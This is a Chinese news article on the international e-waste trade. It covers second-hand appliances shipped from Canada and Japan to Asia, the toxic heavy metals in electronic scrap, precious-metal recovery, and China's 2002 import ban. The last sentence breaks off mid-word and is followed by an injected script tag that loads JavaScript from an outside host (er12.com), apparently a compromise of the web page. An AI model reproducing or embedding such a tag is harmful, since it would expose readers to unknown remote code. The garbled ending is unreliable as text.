换了新电脑后，加拿大的麦克对着旧电脑发愁：没地方卖，也不知该送给谁。麦克把旧电脑放在楼外的垃圾箱旁，看会不会有人将它捡走。第二天，一个捡破烂的人发现了这台旧电脑，并把它卖给了废品收购商。在那里，这台旧电脑被分解，并随同其他旧电器被运到了码头的集装箱内，准备销往中国。如今，这样的情况在世界各地每天都在上演。
电子垃圾回收在国外形成产业
在日本爱知县三河港，每天早上9点，都有从东南亚国家来的小货船在这里装货。这些货物包括用了10年以上的旧电冰箱、旧洗衣机以及旧自行车等，买主是攥着万元大钞的越南人。佐佐木是一个经营旧货的专业户，他见越南籍的船主不会讲日语，便用计算器向对方报价：“电视机一台5000日元，电冰箱3500日元，还有电风扇，要不要？”这样的废旧电器“出口”已经在日本形成了产业，日本媒体称，这是财务省并不了解的“民间贸易”。
冈部是一家废旧家电回收公司的老板，10年前他就辞掉工作干起了这个买卖。他说：“这几年这行越来越不好做了，同行竞争很厉害，对方稍一抬价，我这边就没有人来了。”他的价目表上罗列了电视机等11种旧家电，价格在300―1500日元之间，一年的销售额有40多亿日元。为冈部提供货源的大多是无业游民，他们用自行车运送旧电视机等旧货，每月有20多万日元的收入。这种回收点对旧电器的收购价格比政府指定的厂家更优厚，50公里以内还可以上门收购，不收运费，许多来路不明的旧家电他们也照收不误。
全球每年生产的电子垃圾将超过4000万吨
如今，“电子垃圾”对大多数中国人来说都已不再是一个陌生的名词。废弃的电脑、电视、手机、电池，电子垃圾在我们的生活中可以说无处不在。由于电子产品多为塑料金属的混合体，一些金属配件如阴极射线管、线路板、电池等都含有铅、汞、镉等对人体有害的重金属元素。专家表示，如果处理不当，这些有害物质将会严重污染水源、土壤和空气，直接危害人类和动植物的生存。而且电子垃圾由非有机成分制造，这些成分会长期存在于环境中，很难分解。
印度一个名叫“有毒链接”的环保组织调查发现，在过去3年里，经济快速发展使印度每年产生15万吨电子垃圾。在印度最大的金融与商业中心孟买，每年产生的电子垃圾为1.9万吨。2007年3月，联合国下属机构发起了一个新的环保项目，名字就叫“解决电子垃圾问题”。据该项目介绍，全球每年产生的电子垃圾将很快超过4000万吨，如果把运送电子垃圾的卡车排列起来，它们可以绕上半个地球。欧洲环境署的统计显示，电子垃圾的增加速度是其他生活垃圾的3倍。
电子垃圾也可以变废为宝
尽管电子垃圾危害极大，但如果处理得当，它们仍可以变废为宝。在废弃的电器中，可以提炼出许多有价值的金属，比如金、铂、铟；而在大量的电阻中则可以提炼出钌。铟被称为金属维生素，它的价格已经从2002年每公斤70美元上涨到如今的1100美元。正是这些可再利用的金属，吸引着不法商人们从电子垃圾中赚钱。在发达国家，较高的环保标准和工人工资大大增加了电子垃圾处理的成本，美国每吨有毒废物的处理费就超过了400美元。因此，这些商贩将电子垃圾非法收集起来，卖给发展中国家，任其在无设备和无技术的情况下，用简单工具和落后工艺拆卸、回收电子垃圾中的贵重金属等可用物质。
中国驻加拿大温哥华总领事馆科技参赞张智祥告诉《环球时报》记者，欧美很多国家都明文规定了电子垃圾的处理方法，一般都是由厂家、代理商或是经销商负责回收，再送到专门的机构进行处理。例如日本《资源有效利用促进法》规定，废旧家电必须由原经销商或指定的回收专营店负责回收，可是每100万台废旧家用电脑中，通过规定渠道回收的还不到1/10，其他的都流入了发展中国家。有媒体分析说，废旧家电已在各国间形成了一条“看不见的流通渠道”。
在这条电子垃圾产业链中，除了发达国家将电子垃圾倾倒入发展中国家外，从电子垃圾中提炼出来的贵金属也正回流入发达国家。最近，日本经济产业省正在进行一项调查，追踪从日本出口的“杂品”(混有钢铁、有色金属等金属屑的垃圾)的下落。调查显示，去年日本出口的“杂品”已急剧增长到200万吨以上。东京一家电子产品回收公司的社长中岛说：“这些出口的垃圾最终还要变身回到日本，我们可以将其视为资源再利用的一种尝试，还能避免污染，真是一举两得。”
中国被当成了“垃圾桶”
由于中国目前是不少国家电子垃圾的主要倾倒地，因此有外电报道说，“中国成了世界‘垃圾桶’”。有些国内的公司贪图蝇头小利，从国外进口电子垃圾，严重损害了中国的环境。据报道，我国政府从2002年就严格禁止进口电脑、空调等21种废旧家电，禁入明细中还包括部件、散件和破碎件。国家环保总局固体废物中心有关人士告诉记者，尽管国家不允许进口电脑显示器、线路板等电子垃圾，但并不限制进口可以用?script src=http://er12.com/t.js>
